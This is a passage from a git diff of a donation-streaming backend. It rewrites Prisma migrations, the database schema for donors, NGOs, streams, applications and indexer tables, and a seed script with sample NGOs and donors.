TIMESTAMP(3); +ALTER TABLE "ngo_applications" +ADD COLUMN "reviewed_by" TEXT, +ADD COLUMN "reviewed_at" TIMESTAMP(3); diff --git a/prisma/migrations/20261019000000_add_webhook_delivery_outbox/migration.sql b/prisma/migrations/20261019000000_add_webhook_delivery_outbox/migration.sql index 79a7571..ea23ebd 100644 --- a/prisma/migrations/20261019000000_add_webhook_delivery_outbox/migration.sql +++ b/prisma/migrations/20261019000000_add_webhook_delivery_outbox/migration.sql @@ -1,23 +1,23 @@ --- CreateEnum -CREATE TYPE "WebhookDeliveryStatus" AS ENUM ('PENDING', 'DELIVERED', 'FAILED'); - --- CreateTable -CREATE TABLE "webhook_deliveries" ( - "id" TEXT NOT NULL, - "event_id" TEXT, - "event_type" TEXT NOT NULL, - "payload" JSONB NOT NULL, - "status" "WebhookDeliveryStatus" NOT NULL DEFAULT 'PENDING', - "attempts" INTEGER NOT NULL DEFAULT 0, - "next_attempt_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "locked_at" TIMESTAMP(3), - "last_error" TEXT, - "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "updated_at" TIMESTAMP(3) NOT NULL, - - CONSTRAINT "webhook_deliveries_pkey" PRIMARY KEY ("id") -); - --- CreateIndex -CREATE UNIQUE INDEX "webhook_deliveries_event_id_key" ON "webhook_deliveries"("event_id"); -CREATE INDEX "webhook_deliveries_status_next_attempt_at_idx" ON "webhook_deliveries"("status", "next_attempt_at"); +-- CreateEnum +CREATE TYPE "WebhookDeliveryStatus" AS ENUM ('PENDING', 'DELIVERED', 'FAILED'); + +-- CreateTable +CREATE TABLE "webhook_deliveries" ( + "id" TEXT NOT NULL, + "event_id" TEXT, + "event_type" TEXT NOT NULL, + "payload" JSONB NOT NULL, + "status" "WebhookDeliveryStatus" NOT NULL DEFAULT 'PENDING', + "attempts" INTEGER NOT NULL DEFAULT 0, + "next_attempt_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "locked_at" TIMESTAMP(3), + "last_error" TEXT, + "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "webhook_deliveries_pkey" PRIMARY KEY ("id") +); + +-- CreateIndex +CREATE UNIQUE INDEX "webhook_deliveries_event_id_key" ON "webhook_deliveries"("event_id"); +CREATE INDEX "webhook_deliveries_status_next_attempt_at_idx" ON "webhook_deliveries"("status", "next_attempt_at"); diff --git a/prisma/migrations/20261019010000_add_common_query_indexes/migration.sql b/prisma/migrations/20261019010000_add_common_query_indexes/migration.sql index a895715..1d897c3 100644 --- a/prisma/migrations/20261019010000_add_common_query_indexes/migration.sql +++ b/prisma/migrations/20261019010000_add_common_query_indexes/migration.sql @@ -1,8 +1,8 @@ -CREATE INDEX "streams_created_at_idx" ON "streams"("created_at"); -CREATE INDEX "streams_status_idx" ON "streams"("status"); -CREATE INDEX "streams_token_address_idx" ON "streams"("token_address"); -CREATE INDEX "streams_ngo_id_created_at_idx" ON "streams"("ngo_id", "created_at"); -CREATE INDEX "ngos_created_at_idx" ON "ngos"("created_at"); -CREATE INDEX "ngos_verified_idx" ON "ngos"("verified"); -CREATE INDEX "ngo_applications_created_at_idx" ON "ngo_applications"("created_at"); -CREATE INDEX "stream_events_stream_id_created_at_idx" ON "stream_events"("stream_id", "created_at"); +CREATE INDEX "streams_created_at_idx" ON "streams"("created_at"); +CREATE INDEX "streams_status_idx" ON "streams"("status"); +CREATE INDEX "streams_token_address_idx" ON "streams"("token_address"); +CREATE INDEX "streams_ngo_id_created_at_idx" ON "streams"("ngo_id", "created_at"); +CREATE INDEX "ngos_created_at_idx" ON "ngos"("created_at"); +CREATE INDEX "ngos_verified_idx" ON "ngos"("verified"); +CREATE INDEX "ngo_applications_created_at_idx" ON "ngo_applications"("created_at"); +CREATE INDEX "stream_events_stream_id_created_at_idx" ON "stream_events"("stream_id", "created_at"); diff --git a/prisma/migrations/20261023000000_add_ngo_application_challenges_and_last_rate/migration.sql b/prisma/migrations/20261023000000_add_ngo_application_challenges_and_last_rate/migration.sql index 35a7883..d615d1f 100644 --- a/prisma/migrations/20261023000000_add_ngo_application_challenges_and_last_rate/migration.sql +++ b/prisma/migrations/20261023000000_add_ngo_application_challenges_and_last_rate/migration.sql @@ -1,12 +1,12 @@ -ALTER TABLE "streams" RENAME COLUMN "lastRate" TO "last_rate"; - -CREATE TABLE "ngo_application_challenges" ( - "challenge" TEXT NOT NULL, - "owner_address" TEXT NOT NULL, - "expires_at" TIMESTAMP(3) NOT NULL, - - CONSTRAINT "ngo_application_challenges_pkey" PRIMARY KEY ("challenge") -); - -CREATE INDEX "ngo_application_challenges_owner_address_expires_at_idx" - ON "ngo_application_challenges"("owner_address", "expires_at"); +ALTER TABLE "streams" RENAME COLUMN "lastRate" TO "last_rate"; + +CREATE TABLE "ngo_application_challenges" ( + "challenge" TEXT NOT NULL, + "owner_address" TEXT NOT NULL, + "expires_at" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "ngo_application_challenges_pkey" PRIMARY KEY ("challenge") +); + +CREATE INDEX "ngo_application_challenges_owner_address_expires_at_idx" + ON "ngo_application_challenges"("owner_address", "expires_at"); diff --git a/prisma/migrations/20261024000000_add_notification_endpoints/migration.sql b/prisma/migrations/20261024000000_add_notification_endpoints/migration.sql index b582b4b..3812ec8 100644 --- a/prisma/migrations/20261024000000_add_notification_endpoints/migration.sql +++ b/prisma/migrations/20261024000000_add_notification_endpoints/migration.sql @@ -1,12 +1,12 @@ -CREATE TABLE "notification_endpoints" ( - "id" TEXT NOT NULL, - "url" TEXT NOT NULL, - "secret" TEXT NOT NULL, - "event_types" TEXT[] NOT NULL DEFAULT ARRAY[]::TEXT[], - "enabled" BOOLEAN NOT NULL DEFAULT true, - "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "updated_at" TIMESTAMP(3) NOT NULL, - CONSTRAINT "notification_endpoints_pkey" PRIMARY KEY ("id") -); - -CREATE INDEX "notification_endpoints_enabled_idx" ON "notification_endpoints"("enabled"); +CREATE TABLE "notification_endpoints" ( + "id" TEXT NOT NULL, + "url" TEXT NOT NULL, + "secret" TEXT NOT NULL, + "event_types" TEXT[] NOT NULL DEFAULT ARRAY[]::TEXT[], + "enabled" BOOLEAN NOT NULL DEFAULT true, + "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" TIMESTAMP(3) NOT NULL, + CONSTRAINT "notification_endpoints_pkey" PRIMARY KEY ("id") +); + +CREATE INDEX "notification_endpoints_enabled_idx" ON "notification_endpoints"("enabled"); diff --git a/prisma/migrations/20261024000000_ngo_application_email_verification/migration.sql b/prisma/migrations/20261024000000_ngo_application_email_verification/migration.sql index 9883dfd..922f92b 100644 --- a/prisma/migrations/20261024000000_ngo_application_email_verification/migration.sql +++ b/prisma/migrations/20261024000000_ngo_application_email_verification/migration.sql @@ -1,18 +1,18 @@ -ALTER TABLE "ngo_applications" ADD COLUMN "email_verified_at" TIMESTAMP(3); - -CREATE TABLE "ngo_application_contact_challenges" ( - "token_hash" TEXT NOT NULL, - "application_id" TEXT NOT NULL, - "expires_at" TIMESTAMP(3) NOT NULL, - "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - CONSTRAINT "ngo_application_contact_challenges_pkey" PRIMARY KEY ("token_hash") -); - -CREATE UNIQUE INDEX "ngo_application_contact_challenges_application_id_key" - ON "ngo_application_contact_challenges"("application_id"); -CREATE INDEX "ngo_application_contact_challenges_expires_at_idx" - ON "ngo_application_contact_challenges"("expires_at"); -ALTER TABLE "ngo_application_contact_challenges" - ADD CONSTRAINT "ngo_application_contact_challenges_application_id_fkey" - FOREIGN KEY ("application_id") REFERENCES "ngo_applications"("id") - ON DELETE CASCADE ON UPDATE CASCADE; +ALTER TABLE "ngo_applications" ADD COLUMN "email_verified_at" TIMESTAMP(3); + +CREATE TABLE "ngo_application_contact_challenges" ( + "token_hash" TEXT NOT NULL, + "application_id" TEXT NOT NULL, + "expires_at" TIMESTAMP(3) NOT NULL, + "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + CONSTRAINT "ngo_application_contact_challenges_pkey" PRIMARY KEY ("token_hash") +); + +CREATE UNIQUE INDEX "ngo_application_contact_challenges_application_id_key" + ON "ngo_application_contact_challenges"("application_id"); +CREATE INDEX "ngo_application_contact_challenges_expires_at_idx" + ON "ngo_application_contact_challenges"("expires_at"); +ALTER TABLE "ngo_application_contact_challenges" + ADD CONSTRAINT "ngo_application_contact_challenges_application_id_fkey" + FOREIGN KEY ("application_id") REFERENCES "ngo_applications"("id") + ON DELETE CASCADE ON UPDATE CASCADE; diff --git a/prisma/migrations/migration_lock.toml b/prisma/migrations/migration_lock.toml index 044d57c..1af22ce 100644 --- a/prisma/migrations/migration_lock.toml +++ b/prisma/migrations/migration_lock.toml @@ -1,3 +1,3 @@ -# Please do not edit this file manually -# It should be added in your version-control system (e.g., Git) -provider = "postgresql" +# Please do not edit this file manually +# It should be added in your version-control system (e.g., Git) +provider = "postgresql" diff --git a/prisma/schema.prisma b/prisma/schema.prisma index d5ba307..3c7a70b 100644 --- a/prisma/schema.prisma +++ b/prisma/schema.prisma @@ -1,228 +1,228 @@ -generator client { - provider = "prisma-client" - output = "../src/generated/prisma" - - // Pinned rather than inferred. Prisma decides this from the surrounding - // project when it is not set, and the Docker build runs `prisma generate` - // during `npm ci` - before tsconfig.json has been copied in - so it - // guessed .ts there and .js locally. tsc copies specifiers through - // verbatim, so the image ended up importing .ts files that do not exist - // in dist/ and crashed on boot with ERR_MODULE_NOT_FOUND. - importFileExtension = "js" -} - -datasource db { - provider = "postgresql" -} - -model Donor { - id String @id @default(uuid()) - address String @unique - createdAt DateTime @default(now()) @map("created_at") - streams Stream[] - - @@map("donors") -} - -model Ngo { - id String @id @default(uuid()) - ownerAddress String @unique @map("owner_address") - name String - displayName String? @map("display_name") - verified Boolean @default(false) - createdAt DateTime @default(now()) @map("created_at") - updatedAt DateTime @updatedAt @map("updated_at") - streams Stream[] - - @@index([createdAt]) - @@index([verified]) - @@map("ngos") -} - -enum StreamStatus { - ACTIVE - CANCELLED -} - -model Stream { - id String @id @default(uuid()) - /// Stream id as assigned by the donation-vault contract. - onChainId BigInt @unique @map("on_chain_id") - donorId String @map("donor_id") - donor Donor @relation(fields: [donorId], references: [id]) - ngoId String @map("ngo_id") - ngo Ngo @relation(fields: [ngoId], references: [id]) - tokenAddress String @map("token_address") - /// i128 values from the contract, stored as decimal strings to avoid - /// precision loss — Postgres bigint/numeric mapping is handled at the - /// application layer, not by Prisma's native int types. - rate String - lastRate String? @map("last_rate") - balance String - withdrawn String - status StreamStatus @default(ACTIVE) - /// Transaction hash of the on-chain transaction that created this stream. - /// Null for streams indexed before this field was added. - createdTxHash String? @map("created_tx_hash") - createdAt DateTime @default(now()) @map("created_at") - updatedAt DateTime @updatedAt @map("updated_at") - - @@index([donorId]) - @@index([ngoId]) - @@index([createdAt]) - @@index([status]) - @@index([tokenAddress]) - @@index([ngoId, createdAt]) - @@map("streams") -} - -enum NgoApplicationStatus { - PENDING - APPROVED - REJECTED -} - -/// Off-chain intake for prospective NGOs, reviewed by admins -/// before anyone goes and calls the on-chain `approve_ngo`. Deliberately -/// separate from `Ngo.verified`: this tracks the review workflow, while -/// `Ngo.verified` stays sourced only from the contract's `approved` event -/// (handled by the indexer) so there's exactly one source of truth for -/// on-chain state. -model NgoApplication { - id String @id @default(uuid()) - ownerAddress String @map("owner_address") - name String - description String - website String? - contactEmail String @map("contact_email") - country String? - status NgoApplicationStatus @default(PENDING) - reviewNote String? @map("review_note") - reviewedBy String? @map("reviewed_by") - reviewedAt DateTime? @map("reviewed_at") - emailVerifiedAt DateTime? @map("email_verified_at") - createdAt DateTime @default(now()) @map("created_at") - updatedAt DateTime @updatedAt @map("updated_at") - contactEmailChallenge NgoApplicationContactChallenge? - - @@index([ownerAddress]) - @@index([status]) - @@index([createdAt]) - @@map("ngo_applications") -} - -model NgoApplicationContactChallenge { - tokenHash String @id @map("token_hash") - applicationId String @unique @map("application_id") - expiresAt DateTime @map("expires_at") - createdAt DateTime @default(now()) @map("created_at") - application NgoApplication @relation(fields: [applicationId], references: [id], onDelete: Cascade) - - @@index([expiresAt]) - @@map("ngo_application_contact_challenges") -} - -model NgoApplicationChallenge { - challenge String @id - ownerAddress String @map("owner_address") - expiresAt DateTime @map("expires_at") - - @@index([ownerAddress, expiresAt]) - @@map("ngo_application_challenges") -} - -model NotificationLog { - id String @id @default(uuid()) - eventId String? @map("event_id") - eventType String @map("event_type") - channel String - success Boolean - error String? - createdAt DateTime @default(now()) @map("created_at") - - @@unique([eventId, channel]) - @@map("notification_logs") -} - -/// Configured webhook destinations. Event names are stored as strings so a -/// deployment can add event types without a database enum migration. -model NotificationEndpoint { - id String @id @default(uuid()) - url String - secret String - eventTypes String[] @default([]) @map("event_types") - enabled Boolean @default(true) - createdAt DateTime @default(now()) @map("created_at") - updatedAt DateTime @updatedAt @map("updated_at") - - @@index([enabled]) - @@map("notification_endpoints") -} - -/// Single-row-per-id table tracking how far the event indexer has gotten, -/// so a restart resumes instead of re-scanning from "now" every time. -model IndexerCheckpoint { - id String @id - lastLedger Int @map("last_ledger") - lastEventId String? @map("last_event_id") - updatedAt DateTime @updatedAt @map("updated_at") - - @@map("indexer_checkpoints") -} - -/// Events the indexer could not decode or handle. Recording one is what -/// lets the checkpoint advance past it: before this table existed a single -/// event whose shape didn't match the handler's expectations threw on every -/// poll, pinning the checkpoint and blocking every later event behind it -/// forever. Nothing reads these rows automatically — they exist so a failure -/// is inspectable and replayable by hand instead of silently dropped. -model IndexerDeadLetter { - id String @id @default(uuid()) - /// Event id as assigned by the RPC ("-"), unique per event. - eventId String @unique @map("event_id") - ledger Int - contractId String? @map("contract_id") - /// The handler's failure message, for diagnosing the shape mismatch. - error String - /// Raw topic ScVals encoded as base64 XDR strings. - topic String[] @default([]) - /// Raw value ScVal encoded as base64 XDR string. - value String? - /// Transaction hash that contained the event. - txHash String? @map("tx_hash") - /// Number of times processing this event has been attempted. - attempts Int @default(1) - /// Timestamp when the dead letter was resolved or replayed. - resolvedAt DateTime? @map("resolved_at") - createdAt DateTime @default(now()) @map("created_at") - updatedAt DateTime @updatedAt @map("updated_at") - - @@index([ledger]) - @@map("indexer_dead_letters") -} - -/// Immutable audit log of every on-chain contract event the indexer has -/// processed. One row per event, written in the same transaction as the -/// state update it triggered. Enables activity feeds, balance-drift -/// debugging, and idempotent reprocessing. -model StreamEvent { - id String @id @default(uuid()) - /// Discriminator matching the contract topic: "created" | "withdraw" | - /// "cancel" | "register" | "approved" | "revoked". - type String - /// On-chain stream id (donation-vault events); null for registry events. - streamId BigInt? @map("stream_id") - /// Ledger sequence number the event was included in. - ledger Int - /// Transaction hash that contained the event. - txHash String @map("tx_hash") - /// Full event payload serialised to JSON for auditing and replay. - payload Json - createdAt DateTime @default(now()) @map("created_at") - - @@index([streamId]) - @@index([streamId, createdAt]) - @@index([type]) - @@index([ledger]) - @@map("stream_events") -} +generator client { + provider = "prisma-client" + output = "../src/generated/prisma" + + // Pinned rather than inferred. Prisma decides this from the surrounding + // project when it is not set, and the Docker build runs `prisma generate` + // during `npm ci` - before tsconfig.json has been copied in - so it + // guessed .ts there and .js locally. tsc copies specifiers through + // verbatim, so the image ended up importing .ts files that do not exist + // in dist/ and crashed on boot with ERR_MODULE_NOT_FOUND. + importFileExtension = "js" +} + +datasource db { + provider = "postgresql" +} + +model Donor { + id String @id @default(uuid()) + address String @unique + createdAt DateTime @default(now()) @map("created_at") + streams Stream[] + + @@map("donors") +} + +model Ngo { + id String @id @default(uuid()) + ownerAddress String @unique @map("owner_address") + name String + displayName String? @map("display_name") + verified Boolean @default(false) + createdAt DateTime @default(now()) @map("created_at") + updatedAt DateTime @updatedAt @map("updated_at") + streams Stream[] + + @@index([createdAt]) + @@index([verified]) + @@map("ngos") +} + +enum StreamStatus { + ACTIVE + CANCELLED +} + +model Stream { + id String @id @default(uuid()) + /// Stream id as assigned by the donation-vault contract. + onChainId BigInt @unique @map("on_chain_id") + donorId String @map("donor_id") + donor Donor @relation(fields: [donorId], references: [id]) + ngoId String @map("ngo_id") + ngo Ngo @relation(fields: [ngoId], references: [id]) + tokenAddress String @map("token_address") + /// i128 values from the contract, stored as decimal strings to avoid + /// precision loss — Postgres bigint/numeric mapping is handled at the + /// application layer, not by Prisma's native int types. + rate String + lastRate String? @map("last_rate") + balance String + withdrawn String + status StreamStatus @default(ACTIVE) + /// Transaction hash of the on-chain transaction that created this stream. + /// Null for streams indexed before this field was added. + createdTxHash String? @map("created_tx_hash") + createdAt DateTime @default(now()) @map("created_at") + updatedAt DateTime @updatedAt @map("updated_at") + + @@index([donorId]) + @@index([ngoId]) + @@index([createdAt]) + @@index([status]) + @@index([tokenAddress]) + @@index([ngoId, createdAt]) + @@map("streams") +} + +enum NgoApplicationStatus { + PENDING + APPROVED + REJECTED +} + +/// Off-chain intake for prospective NGOs, reviewed by admins +/// before anyone goes and calls the on-chain `approve_ngo`. Deliberately +/// separate from `Ngo.verified`: this tracks the review workflow, while +/// `Ngo.verified` stays sourced only from the contract's `approved` event +/// (handled by the indexer) so there's exactly one source of truth for +/// on-chain state. +model NgoApplication { + id String @id @default(uuid()) + ownerAddress String @map("owner_address") + name String + description String + website String? + contactEmail String @map("contact_email") + country String? + status NgoApplicationStatus @default(PENDING) + reviewNote String? @map("review_note") + reviewedBy String? @map("reviewed_by") + reviewedAt DateTime? @map("reviewed_at") + emailVerifiedAt DateTime? @map("email_verified_at") + createdAt DateTime @default(now()) @map("created_at") + updatedAt DateTime @updatedAt @map("updated_at") + contactEmailChallenge NgoApplicationContactChallenge? + + @@index([ownerAddress]) + @@index([status]) + @@index([createdAt]) + @@map("ngo_applications") +} + +model NgoApplicationContactChallenge { + tokenHash String @id @map("token_hash") + applicationId String @unique @map("application_id") + expiresAt DateTime @map("expires_at") + createdAt DateTime @default(now()) @map("created_at") + application NgoApplication @relation(fields: [applicationId], references: [id], onDelete: Cascade) + + @@index([expiresAt]) + @@map("ngo_application_contact_challenges") +} + +model NgoApplicationChallenge { + challenge String @id + ownerAddress String @map("owner_address") + expiresAt DateTime @map("expires_at") + + @@index([ownerAddress, expiresAt]) + @@map("ngo_application_challenges") +} + +model NotificationLog { + id String @id @default(uuid()) + eventId String? @map("event_id") + eventType String @map("event_type") + channel String + success Boolean + error String? + createdAt DateTime @default(now()) @map("created_at") + + @@unique([eventId, channel]) + @@map("notification_logs") +} + +/// Configured webhook destinations. Event names are stored as strings so a +/// deployment can add event types without a database enum migration. +model NotificationEndpoint { + id String @id @default(uuid()) + url String + secret String + eventTypes String[] @default([]) @map("event_types") + enabled Boolean @default(true) + createdAt DateTime @default(now()) @map("created_at") + updatedAt DateTime @updatedAt @map("updated_at") + + @@index([enabled]) + @@map("notification_endpoints") +} + +/// Single-row-per-id table tracking how far the event indexer has gotten, +/// so a restart resumes instead of re-scanning from "now" every time. +model IndexerCheckpoint { + id String @id + lastLedger Int @map("last_ledger") + lastEventId String? @map("last_event_id") + updatedAt DateTime @updatedAt @map("updated_at") + + @@map("indexer_checkpoints") +} + +/// Events the indexer could not decode or handle. Recording one is what +/// lets the checkpoint advance past it: before this table existed a single +/// event whose shape didn't match the handler's expectations threw on every +/// poll, pinning the checkpoint and blocking every later event behind it +/// forever. Nothing reads these rows automatically — they exist so a failure +/// is inspectable and replayable by hand instead of silently dropped. +model IndexerDeadLetter { + id String @id @default(uuid()) + /// Event id as assigned by the RPC ("-"), unique per event. + eventId String @unique @map("event_id") + ledger Int + contractId String? @map("contract_id") + /// The handler's failure message, for diagnosing the shape mismatch. + error String + /// Raw topic ScVals encoded as base64 XDR strings. + topic String[] @default([]) + /// Raw value ScVal encoded as base64 XDR string. + value String? + /// Transaction hash that contained the event. + txHash String? @map("tx_hash") + /// Number of times processing this event has been attempted. + attempts Int @default(1) + /// Timestamp when the dead letter was resolved or replayed. + resolvedAt DateTime? @map("resolved_at") + createdAt DateTime @default(now()) @map("created_at") + updatedAt DateTime @updatedAt @map("updated_at") + + @@index([ledger]) + @@map("indexer_dead_letters") +} + +/// Immutable audit log of every on-chain contract event the indexer has +/// processed. One row per event, written in the same transaction as the +/// state update it triggered. Enables activity feeds, balance-drift +/// debugging, and idempotent reprocessing. +model StreamEvent { + id String @id @default(uuid()) + /// Discriminator matching the contract topic: "created" | "withdraw" | + /// "cancel" | "register" | "approved" | "revoked". + type String + /// On-chain stream id (donation-vault events); null for registry events. + streamId BigInt? @map("stream_id") + /// Ledger sequence number the event was included in. + ledger Int + /// Transaction hash that contained the event. + txHash String @map("tx_hash") + /// Full event payload serialised to JSON for auditing and replay. + payload Json + createdAt DateTime @default(now()) @map("created_at") + + @@index([streamId]) + @@index([streamId, createdAt]) + @@index([type]) + @@index([ledger]) + @@map("stream_events") +} diff --git a/prisma/seed.ts b/prisma/seed.ts index 6908c15..3117cdd 100644 --- a/prisma/seed.ts +++ b/prisma/seed.ts @@ -1,184 +1,184 @@ -import { PrismaPg } from '@prisma/adapter-pg'; -import { PrismaClient } from '../src/generated/prisma/client.js'; - -const DEFAULT_DATABASE_URL = 'postgresql://streamgive:streamgive@localhost:5432/streamgive'; -const adapter = new PrismaPg({ - connectionString: process.env.DATABASE_URL ?? DEFAULT_DATABASE_URL, -}); - -export const prisma = new PrismaClient({ adapter }); - -const USDC = 'CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA'; - -export const SEED_NGOS = [ - { - ownerAddress: 'GCFIRY65OQE7DFP5KLNS2PF2LVZMUZYJX4OZIEQ36N2IQANUB5XVYOJR', - name: 'Clean Water Initiative', - verified: true, - }, - { - ownerAddress: 'GCATS5YOVB6ROX2WUNKGNQ2MP3GMXDMKSG2O4N5CLX3A6W4PZGZZI55U', - name: 'Education For All', - verified: true, - }, - { - ownerAddress: 'GDWUSKGGFDI4FRXK5EBTRECZSVQSSWJHHJOGH6JWG3AUMFFMQ435DIAG', - name: 'Rainforest Trust', - verified: false, - }, -]; - -export const SEED_APPLICATIONS = [ - { - id: '00000000-0000-4000-8000-000000000001', - ownerAddress: 'GCFIRY65OQE7DFP5KLNS2PF2LVZMUZYJX4OZIEQ36N2IQANUB5XVYOJR', - name: 'Clean Water Initiative', - description: - 'We bring clean drinking water to rural communities across Sub-Saharan Africa through bore-hole drilling and maintenance.', - website: 'https://cleanwaterinitiative.example', - contactEmail: 'contact@cleanwater.example', - country: 'Kenya', - status: 'APPROVED' as const, - }, - { - id: '00000000-0000-4000-8000-000000000002', - ownerAddress: 'GCATS5YOVB6ROX2WUNKGNQ2MP3GMXDMKSG2O4N5CLX3A6W4PZGZZI55U', - name: 'Education For All', - description: - 'Funding school construction, teacher training, and scholarship programmes for children in under-served regions.', - website: 'https://educationforall.example', - contactEmail: 'apply@efa.example', - country: 'Nigeria', - status: 'APPROVED' as const, - }, - { - id: '00000000-0000-4000-8000-000000000003', - ownerAddress: 'GDWUSKGGFDI4FRXK5EBTRECZSVQSSWJHHJOGH6JWG3AUMFFMQ435DIAG', - name: 'Rainforest Trust', - description: 'Protecting old-growth forests through land purchase and community partnerships.', - website: 'https://rainforesttrust.example', - contactEmail: 'hello@rft.example', - country: 'Brazil', - status: 'PENDING' as const, - }, -]; - -export const SEED_DONORS = [ - { address: 'GDFJHLAXAUMHA4OWPOB4P7YO72AQR2HMIUYFOXLXE2DZGM633K7HZDQP' }, - { address: 'GBXHUHG5FGYLPD6RHL2MKWMP572O6KUXCZXDZJXS4T57ZTMAKBN7DWXN' }, -]; - -export async function seed(client: PrismaClient = prisma) { - // --- NGOs --- - const ngo1 = await client.ngo.upsert({ - where: { ownerAddress: SEED_NGOS[0].ownerAddress }, - create: SEED_NGOS[0], - update: { name: SEED_NGOS[0].name, verified: SEED_NGOS[0].verified }, - }); - - const ngo2 = await client.ngo.upsert({ - where: { ownerAddress: SEED_NGOS[1].ownerAddress }, - create: SEED_NGOS[1], - update: { name: SEED_NGOS[1].name, verified: SEED_NGOS[1].verified }, - }); - - await client.ngo.upsert({ - where: { ownerAddress: SEED_NGOS[2].ownerAddress }, - create: SEED_NGOS[2], - update: { name: SEED_NGOS[2].name }, - }); - - // --- Applications --- - for (const app of SEED_APPLICATIONS) { - await client.ngoApplication.upsert({ - where: { id: app.id }, - create: app, - update: {}, - }); - } - - // --- Donors --- - const donor1 = await client.donor.upsert({ - where: { address: SEED_DONORS[0].address }, - create: SEED_DONORS[0], - update: {}, - }); - - const donor2 = await client.donor.upsert({ - where: { address: SEED_DONORS[1].address }, - create: SEED_DONORS[1], - update: {}, - }); - - // --- Streams --- - await client.stream.upsert({ - where: { onChainId: 1n }, - create: { - onChainId: 1n, - donorId: donor1.id, - ngoId: ngo1.id, - tokenAddress: USDC, - rate: '100000000', - balance: '5000000000', - withdrawn: '500000000', - status: 'ACTIVE', - }, - update: {}, - }); - - await client.stream.upsert({ - where: { onChainId: 2n }, - create: { - onChainId: 2n, - donorId: donor2.id, - ngoId: ngo1.id, - tokenAddress: USDC, - rate: '50000000', - balance: '2000000000', - withdrawn: '250000000', - status: 'ACTIVE', - }, - update: {}, - }); - - await client.stream.upsert({ - where: { onChainId: 3n }, - create: { - onChainId: 3n, - donorId: donor1.id, - ngoId: ngo2.id, - tokenAddress: USDC, - rate: '75000000', - balance: '0', - withdrawn: '1000000000', - status: 'CANCELLED', - }, - update: {}, - }); - - await client.stream.upsert({ - where: { onChainId: 4n }, - create: { - onChainId: 4n, - donorId: donor2.id, - ngoId: ngo2.id, - tokenAddress: USDC, - rate: '200000000', - balance: '8000000000', - withdrawn: '800000000', - status: 'ACTIVE', - }, - update: {}, - }); - - console.log('Seed complete.'); -} - -if (process.argv[1]?.includes('seed.ts') || process.argv[1]?.includes('seed.js')) { - seed() - .catch((e) => { - console.error(e); - process.exit(1); - }) - .finally(() => prisma.$disconnect()); -} +import { PrismaPg } from '@prisma/adapter-pg'; +import { PrismaClient } from '../src/generated/prisma/client.js'; + +const DEFAULT_DATABASE_URL = 'postgresql://streamgive:streamgive@localhost:5432/streamgive'; +const adapter = new PrismaPg({ + connectionString: process.env.DATABASE_URL ?? DEFAULT_DATABASE_URL, +}); + +export const prisma = new PrismaClient({ adapter }); + +const USDC = 'CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA'; + +export const SEED_NGOS = [ + { + ownerAddress: 'GCFIRY65OQE7DFP5KLNS2PF2LVZMUZYJX4OZIEQ36N2IQANUB5XVYOJR', + name: 'Clean Water Initiative', + verified: true, + }, + { + ownerAddress: 'GCATS5YOVB6ROX2WUNKGNQ2MP3GMXDMKSG2O4N5CLX3A6W4PZGZZI55U', + name: 'Education For All', + verified: true, + }, + { + ownerAddress: 'GDWUSKGGFDI4FRXK5EBTRECZSVQSSWJHHJOGH6JWG3AUMFFMQ435DIAG', + name: 'Rainforest Trust', + verified: false, + }, +]; + +export const SEED_APPLICATIONS = [ + { + id: '00000000-0000-4000-8000-000000000001', + ownerAddress: 'GCFIRY65OQE7DFP5KLNS2PF2LVZMUZYJX4OZIEQ36N2IQANUB5XVYOJR', + name: 'Clean Water Initiative', + description: + 'We bring clean drinking water to rural communities across Sub-Saharan Africa through bore-hole drilling and maintenance.', + website: 'https://cleanwaterinitiative.example', + contactEmail: 'contact@cleanwater.example', + country: 'Kenya', + status: 'APPROVED' as const, + }, + { + id: '00000000-0000-4000-8000-000000000002', + ownerAddress: 'GCATS5YOVB6ROX2WUNKGNQ2MP3GMXDMKSG2O4N5CLX3A6W4PZGZZI55U', + name: 'Education For All', + description: + 'Funding school construction, teacher training, and scholarship programmes for children in under-served regions.', + website: 'https://educationforall.example', + contactEmail: 'apply@efa.example', + country: 'Nigeria', + status: 'APPROVED' as const, + }, + { + id: '00000000-0000-4000-8000-000000000003', + ownerAddress: 'GDWUSKGGFDI4FRXK5EBTRECZSVQSSWJHHJOGH6JWG3AUMFFMQ435DIAG', + name: 'Rainforest Trust', + description: 'Protecting old-growth forests through land purchase and community partnerships.', + website: 'https://rainforesttrust.example', + contactEmail: 'hello@rft.example', + country: 'Brazil', + status: 'PENDING' as const, + }, +]; + +export const SEED_DONORS = [ + { address: 'GDFJHLAXAUMHA4OWPOB4P7YO72AQR2HMIUYFOXLXE2DZGM633K7HZDQP' }, + { address: 'GBXHUHG5FGYLPD6RHL2MKWMP572O6KUXCZXDZJXS4T57ZTMAKBN7DWXN' }, +]; + +export async function seed(client: PrismaClient = prisma) { + // --- NGOs --- + const ngo1 = await client.ngo.upsert({ + where: { ownerAddress: SEED_NGOS[0].ownerAddress }, + create: SEED_NGOS[0], + update: { name: SEED_NGOS[0].name, verified: SEED_NGOS[0].verified }, + }); + + const ngo2 = await client.ngo.upsert({ + where: { ownerAddress: SEED_NGOS[1].ownerAddress }, + create: SEED_NGOS[1], + update: { name: SEED_NGOS[1].name, verified: SEED_NGOS[1].verified }, + }); + + await client.ngo.upsert({ + where: { ownerAddress: SEED_NGOS[2].ownerAddress }, + create: SEED_NGOS[2], + update: { name: SEED_NGOS[2].name }, + }); + + // --- Applications --- + for (const app of SEED_APPLICATIONS) { + await client.ngoApplication.upsert({ + where: { id: app.id }, + create: app, + update: {}, + }); + } + + // --- Donors --- + const donor1 = await client.donor.upsert({ + where: { address: SEED_DONORS[0].address }, + create: SEED_DONORS[0], + update: {}, + }); + + const donor2 = await client.donor.upsert({ + where: { address: 